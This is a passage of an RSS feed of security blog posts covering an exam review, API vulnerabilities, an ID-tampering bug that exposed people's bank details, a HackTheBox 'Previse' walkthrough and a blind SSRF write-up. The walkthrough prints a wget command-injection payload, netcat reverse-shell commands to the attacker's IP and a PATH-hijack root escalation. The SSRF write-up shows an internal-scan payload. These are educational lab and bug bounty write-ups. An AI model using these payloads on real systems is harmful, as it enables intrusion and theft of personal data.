didn’t realize and it took me 2 and half month in its completion. After that, I request the access to lab. The lab comes with lab manual i.e, if you get stuck somewhere you can easily see what you are missing. I found it really good and helpful. After one month of practice on lab, I felt confident enough to take exam.</p><h4>Exam</h4><p>Exam for this certification is not other ones, mean you do not need to schedule first. You just have to click the “Take Exam” button anytime and you are good to go. It takes 15 minutes for setting up the lab exam. During the exam you will receive one email for testing the VPN before the exam takes place say half and hour early which includes the exam start time, but you will not receive another email when the exam actually starts, and this can cause confusion. So be aware of the exam start time. Once exam gets started one have two options to connect to exam either via VPN+RDP or browser based access. I worked in labs using browser based access so I used the same method using exam. Exam consisted of FIVE MACHINES excluding the user machine with low privilege which will be used for launching further attack. Unlike lab, the exam environment didn’t had the tools pre installed. I quickly copied the tools from my local machine to the exam lab. Here’s the tip, don’t try to upload all the all at once. Before starting the exam, make a folder of useful tools and zip them. Now, upload only those useful tools to the exam else you’ll get error which will consume time. So, after uploading the tools, I started my exam. The goal was to get command execution on all of five machines in 24 hours. After getting OS command execution on all the machine, we get another 48 hours to write professional report of the exam.</p><h4>Tips for Your Exam</h4><p>During exam make sure you have at least two accessible internet connections. Second, and the most important one screenshot everything you do. Every command you execute, make sure you screenshot that. That will help you out in the making professional and detailed report. Third, make sure you take breaks during the exam. Take meals at proper time and take light exercise. Last, for the report make sure you explain everything, literally everything you’ve done. Let’s say you executed mimikatz now explain how and why did it worked or why it didn’t work. It is clearly mentioned that even if you’ve compromised all the machines and you wasn’t able to write a good report that might lead you to fail that exam.</p><p>Outcome of all the Hard work Course looks like this :-)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*B2Q3yRWHUjUTwsSOGjPumw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33401fd75e06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API’s Security-All in One]]></title>
            <link>https://medium.com/@huntersherlock11/apis-security-all-in-one-6fde8db978f6?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fde8db978f6</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[api-development]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Mon, 03 Oct 2022 08:22:16 GMT</pubDate>
            <atom:updated>2022-10-03T08:22:16.903Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*H6K8tTy6Nmf5KCXfcIxGQA.jpeg" /></figure><p>Hello everyone :)</p><p>I hope you are doing great! I am known as HunterSherlock &amp; in this blog I will discuss some crucial stuff regarding APIs. So let’s get started.</p><p><strong>What are APIs:</strong></p><blockquote>API stands for <strong>Application Programming Interface.</strong>Interface can be thought of as a contract of service between two applications. This contract defines how the two Applications communicate.</blockquote><p><strong>Why Do You Need API Security Testing?</strong></p><p>API security is all about securing you API endpoints from attackers and building them in secure fashion. As APIs are used to exchange data between two application any breach to it will cause the leakage of sensitive information stored on the application.</p><p><strong>Common Vulnerabilities in API Endpoints:</strong></p><p>There are many vulnerabilities that can exist in API endpoints. These are listed below.</p><p><strong>Authentication &amp; authorization Issues:</strong></p><p>This vulnerability allows unauthorized access to the API leading to the leakage of sensitive information.This can be exploited to gain access to sensitive data or perform actions that the authorized user is not supposed to be able to do. There can be certain scenarios of this category. Let’s discuss one by one.</p><p><strong><em>Weak authentication:</em></strong></p><p>This happens when the tokens that are generated for authentication is guessable and an attacker can initiate brute force attack to get the valid access tokens for authentication. An example of weak token is as follows;</p><pre>access_token=am9obiBkb2U=</pre><p>This is simply base64 encoding of the user “<strong><em>john doe</em></strong>”</p><p><strong><em>Flawed Handling of JWT:</em></strong></p><p>Sometimes application uses JWT for the authentication but this can be problem if the secret key is predictable, does not validate the signature or if it is using weak algorithm.</p><p><strong><em>Lengthy period for expiration of tokens:</em></strong></p><p>When the tokens are generated they should be short lived so that an attacker can never maintain access to the application using that token.</p><p><strong>Insufficient Rate Limiting:</strong></p><p>This security flaw permits too many requests on the API endpoint leading to DoS attack or overloading the API server with too many requests.</p><p><strong>Excessive Data Exposure:</strong></p><p>API is supposed to return only the required data to the front-end clients but sometimes API endpoint reveals sensitive data along with the request resource. This security flaw is understood this way. Suppose there is a endpoint that is supposed to provide basic information about a user. The information provided below is not at any risk.</p><pre>GET /api/v1/users?id=1</pre><pre>{</pre><pre>&quot;user&quot;=&quot;john&quot;,<br>&quot;role&quot;=user,<br>&quot;status&quot;=active</pre><pre>}</pre><p>But, what if the same endpoint reveals information more than the necessary.</p><pre>GET /api/v1/users?id=1</pre><pre>{</pre><pre>&quot;user&quot;=&quot;john&quot;,<br>&quot;role&quot;=user,<br>&quot;status&quot;=active<br>&quot;email&quot;=john@gmail.com<br>&quot;Group_Member&quot;=5<br></pre><pre>}</pre><p>Here the email of the user <strong><em>john</em></strong> is being disclosed.</p><p><strong>Mass Assignment:</strong></p><p>The Mass Assignment vulnerability is a lack of data input validation that allows an attacker to modify data or elevate privileges by manipulating payload data. Let us understand this by example.</p><p><strong>Application Objects</strong> have many properties that define the object. For instance there is a object “<strong><em>user</em></strong>” having some properties that define it.</p><pre>{<br>  &quot;id&quot;: 655,<br>  &quot;name&quot;: &quot;John&quot;,<br>  &quot;admin&quot;: false,<br>  &quot;status&quot;: active<br>}</pre><p>An attacker can use Mass Assignment Vulnerability to make PUT request and add “admin”=”true” in it and gaining admin privileges.For instance;</p><pre>PUT /api/v1/users/655</pre><pre>{<br>  &quot;name&quot;: &quot;John&quot;, <br>  &quot;admin&quot;: true<br>}</pre><p>In this way, User can escalate privileges by exploiting Mass Assignment Vulnerability.</p><p><strong>Injection:</strong></p><p>This kind of vulnerability include SQL injection, OS command injection etc, which occurs when the front-end input is entertained without being filtered or sanitized. This allows the attackers to craft malicious payloads. The attack scenarios can be found <a href="https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa8-injection.md"><strong>here</strong></a><strong>.</strong></p><p><strong>Various HTTP methods:</strong></p><p>Unnecessary HTTP methods or services should be strictly prohibited on the API endpoints. This can lead to devastation of vast amount of data on the application. For Example, there is an endpoint <em>/api/v1/users?id={id_of_users} </em>that fetches the information about the user.</p><pre>GET /api/v1/users?id=51</pre><p>But what if the attacker instead of getting the information about the user, makes a delete request on given endpoint? It will delete the user from the application.</p><pre>DELETE /api/v1/users?id=51</pre><h3><strong>Preventing API Attacks:</strong></h3><p>APIs are all upon the authentication and authorization. A powerful tool for controlling API access is a token-based authorization framework that allows information to be accessed by third-party services without exposing user credentials. The checks should be in place for put a stop to API attacks. The tokens should be short lived and non-guessable string to enhance the security of APIs. Input from the client-side should be validated properly to reduce the risk of Mass Assignment and these kinds of vulnerabilities.</p><p>I hope you enjoyed reading this article. ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fde8db978f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[P1 Bug — PII information disclosure]]></title>
            <link>https://medium.com/@huntersherlock11/p1-bug-pii-information-disclosure-7669ebbb91a8?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7669ebbb91a8</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bugbounting]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Sun, 08 May 2022 19:52:32 GMT</pubDate>
            <atom:updated>2022-05-08T20:12:15.172Z</atom:updated>
            <content:encoded><![CDATA[<h3>P1 Bug — PII information disclosure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*E3gQq7Tw4KIiS_hmMra4rQ.jpeg" /></figure><p>Hello amazing penetration testers and bug bounty hunters, I hope you all are fine ❤ In this blog I will be explaining the bug that I recently found on private program through which I was able to fetch the sensitive information. Let us call the program as example.com. There were many functionalities in it. one of them was that a person can give gifts to the another person. As I was testing this feature, I gave a gift to the a random person and after presenting gift I was redirected to final page. That was normal flow of the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rFrfo40Vj9vJi761PAjQTg.png" /></figure><p>But then I noticed the URL which was something like that “<a href="https://example.com/gift-sent/id=">https://example.com/gift-sent/?id=</a>NzYwNDU%3D”</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F3oKIPlLZEbEbacWqOc%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F3oKIPlLZEbEbacWqOc%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F3oKIPlLZEbEbacWqOc%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/8cce835d2d6193d6b3cd27468349b02a/href">https://medium.com/media/8cce835d2d6193d6b3cd27468349b02a/href</a></iframe><h4>Id parameter</h4><p>The id parameter was quite interesting to me. I understood the whole flow of application and got to know that the this was my id which was assigned to me after giving gift.</p><h4>Decoding Id parameter value</h4><p>The Id was something like that NzYwNDU%3D. To decode that i first URL decoded the string. After that the id was like this “NzYwNDU=” which is base64 encode. Then I quickly base64 decoded this string which gave me a plain id “76045”.I changed the value of ID parameter “76045” to “76044” and BOOM!! the request was successful. I was able to see the name of person to whom someone gave a gift. That was kinda low impact bug. I don’t gave up. I looked at the source code and to my surprise I was able to see the sensitive information of any person who presented a gift to any person. Sensitive information included email, bank details, first name , last name. That was quite interesting.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F702ybfQFkrkrWnIByR%2Fvideo&amp;display_name=GIPHY&amp;url=https%3A%2F%2Fgiphy.com%2Fclips%2Fparksandrec-season-5-parks-and-recreation-rec-702ybfQFkrkrWnIByR&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2F702ybfQFkrkrWnIByR%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="480" height="270" frameborder="0" scrolling="no"><a href="https://medium.com/media/8afcb468dbed6ee9214b9af2f135c594/href">https://medium.com/media/8afcb468dbed6ee9214b9af2f135c594/href</a></iframe><h4>Python Exploit</h4><p>I made small script which helped me in automating my task. The script looked something like that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jF1wmI0vYzE9D2ya6J_EqQ.png" /></figure><p>Thanks ! I hope you enjoyed reading.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FfWgQH01z4rjwrZckyM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FfWgQH01z4rjwrZckyM%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FfWgQH01z4rjwrZckyM%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/1d13d76d3dc2f1cfd6602093364fab0b/href">https://medium.com/media/1d13d76d3dc2f1cfd6602093364fab0b/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7669ebbb91a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“Previse — Hack_The_Box”]]></title>
            <link>https://medium.com/@huntersherlock11/previse-hack-the-box-69189496bfdf?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/69189496bfdf</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[previse]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Thu, 27 Jan 2022 20:43:09 GMT</pubDate>
            <atom:updated>2022-01-27T20:43:09.854Z</atom:updated>
            <content:encoded><![CDATA[<h3>“Previse — Hack_The_Box”</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*j8KQEi8M9Sd7_yhbrMuncQ.jpeg" /></figure><p>Hello everyone, In this blog post I am will be explaining how I was able to get root shell on this machine.</p><h4><strong>INITIAL RECON :</strong></h4><p>In the initial recon Iran nmap and found that following ports were open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IbUs82o-1j4ym9flBpsXvQ.png" /></figure><p>I found that ssh port was open. This port (22) is used for Secure Shell (SSH) communication and allows remote administration access to the VM. Traffic is encrypted using password authentication.</p><p><strong><em>Secondly</em></strong>, I ran dirsearch with default word list and found some endpoints.</p><p><strong>``python3 dirsearch.py -u </strong><a href="http://10.10.11.104/"><strong>http://10.10.11.104</strong></a><strong> -r -x 403,301``</strong></p><p>Now, it was time to explore webpage. There was login page and I wasn’t able to create new account. I entered “admin “ as username and password but I got error Invalid “Username or Password”. I added the IP to the burp scope so that I could see all the requests. I captured the login request in burp suite and send the request on “/”. I was given with the form but I was not able to see that form in my browser. It again redirected me to login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eki0eixeLrnZf7vDioOKfg.png" /></figure><p>I tried all the endpoints like account.php, status.php but I wasn’t able to have that form on browser. Then Iintercepted the request having url http://10.10.11.104/accounts.php and changed the response status code from<strong><em> 302 found to 200 OK</em></strong> and I was able to see the form in browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iXFsZJKk6GKj2YoOymuxIQ.png" /></figure><p>I navigated to management menu &gt; log data &gt; submit and I got a file having list of users. At <em>Files &gt; Uploaded</em> files was possible to download <em>siteBackup.zip</em> and get the source code of the pages listed before. In the config.php file, some credentials were present.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*q7gQRBygh6VN2VmJlWowDw.png" /></figure><p>But this information did not allow me a shell now.</p><p>Returning to the page source code I searched for possible flaws, there was <strong><em>exec()</em></strong> function which could be exploitable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*NH3-lJU5QhYj8kQRblItqQ.png" /></figure><p>Intercepted the request from logs.php and tried to do code execution. I tried different payload and the final payload that worked for me is :</p><p>tab%7Cwget%20http%3A%2f%2f<strong>10.10.16.22</strong>%3A<strong><em>1336</em></strong>%2fhell.php</p><p>I created a file with following code and tried to access that file from machine. Code was something like that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*tKdfKTWqgO9tnDHDccRf5w.png" /></figure><p>Then I used nc on machine to get the shell on my netcat listener.</p><p><a href="http://10.10.11.104/hell.php?c=">http://10.10.11.104/hell.php?c=</a>nc 10.10.16.22 1336 -e /bin/sh. And now I was able to get the shell on my netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2EAszRXQivlibb5YDpNwbQ.png" /></figure><p>As identified before, the application makes a connection to the database using the MySQL credentials found on the <em>config.php</em>, using this credentials was possible to access the database and<strong> m4lwhere</strong>’s password hash was found :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*9Lcf2j27WrkXR1ev3VHrdg.png" /></figure><p>Used hashcat to decrypt the hash with <em>rockyou.txt</em> wordlist.</p><p><strong>hashcat -a 0 -m 500 user /usr/share/wordlists/rockyou.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*H3ruI3FLBAxhP3xfKHk6BQ.png" /></figure><p>Logged as <strong>m4lwhere </strong>was possible to get the user flag. “ssh <strong>m4lwhere</strong>@0.10.11.104”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BR-2fD-8Uj40XPzLINgnCw.png" /></figure><h3><strong>Privilege Escalation</strong></h3><p>Now we need to escalate our privilege and to do that we can use the following command: <em>sudo -l</em>. Which informs sudo permission for <em>/opt/scripts/access_backup.sh</em> script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*nZaxgDFT7MrVSn-o2a6ZHg.png" /></figure><p>Analyzing the <em>access_backup.sh script.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*UXu8_G4BNuiFeW6fUckm6w.png" /></figure><p>Now we will create our own date named sh script in /tmp.<br>This is because the script is being executed with root privileges Normally date would found in PATH variable’s element, but here we add a new path to to date named program. But there’s the catch, the <em>date </em>it finds,is a script created by us rather than the original program requested by the access_backup.sh script.</p><p><em>echo “nc tun0Ip port -e /bin/bash ” &gt; date</em></p><p><em>chmod +x date</em></p><p><em>export PATH=/tmp:$PATH</em></p><p>Received the reverse shell connection as root successfully!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69189496bfdf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BLIND SSRF]]></title>
            <link>https://medium.com/@huntersherlock11/blind-ssrf-2de735c8fa92?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2de735c8fa92</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Sat, 11 Dec 2021 18:01:22 GMT</pubDate>
            <atom:updated>2021-12-11T18:01:22.107Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*jTdTrsM6j7P--_lVaQ5dsQ.jpeg" /></figure><p>Hello Everyone, this is my first write-up. This blog post is about a vulnerability that I found in a private program.Let’s call this program <strong>website.com</strong>. It used integrations to connect to other apps.</p><h3>What I learned here ;</h3><p>1- Bypassing domain/host validation</p><p>2- Blind SSRF leading to internal port scans</p><p><strong>STEPS :</strong></p><p>I logged in to my account and created a recepie, choosed a trigger and selected an app lets call it “app”. here, I’m gonna be explaining how it worked. When I entered the Subdomain name, that name got concatenated to <strong>app.com</strong>. For example if I write <strong>local-host</strong> in subdomain field, it concatenated subdomain name to app.com like this <strong>local-host.app.com.</strong></p><p>All I need was to get rid of app.com. So, I used <strong>?</strong> OR <strong>‘ </strong>after the subdomain name and concatenation doesn’t occur. So if i give input as localhost? it will send request to external server. like localhost or 127.0.0.1 and app.com was not considered now. I just bypassed the current implementation of integration by using “?” OR “ ‘ ”</p><h4>Escalation to Blind SSRF :</h4><p>To confirm the TCP request being sent to the external server, I opened the Netcat listener on my server and listened to the TCP connection. Using this payload <strong>“MY_SERVER_IP_ADDRESS:PORT”, </strong>I was able to receive the connection from website.com</p><p>Now to escalate this to internal blind SSRF, I used decimal IP location of “192.168.0.1” and the payload looked like this</p><p>“subdomain” :”3232235521:80/” . It throws following error</p><h4>“message”:”Failed to open TCP connection to 3232235521:80 (Connection refused — connect(2) for \”192.168.0.1\” port 80)”,</h4><p>Upon doing a complete internal Port scan, I was able to identify some ports that were throwing different errors which indicates that these ports were internally open. These ports were 4000, 4001, 4002,4003.</p><p>Have a good day and wish you success in all your endeavors! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2de735c8fa92" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>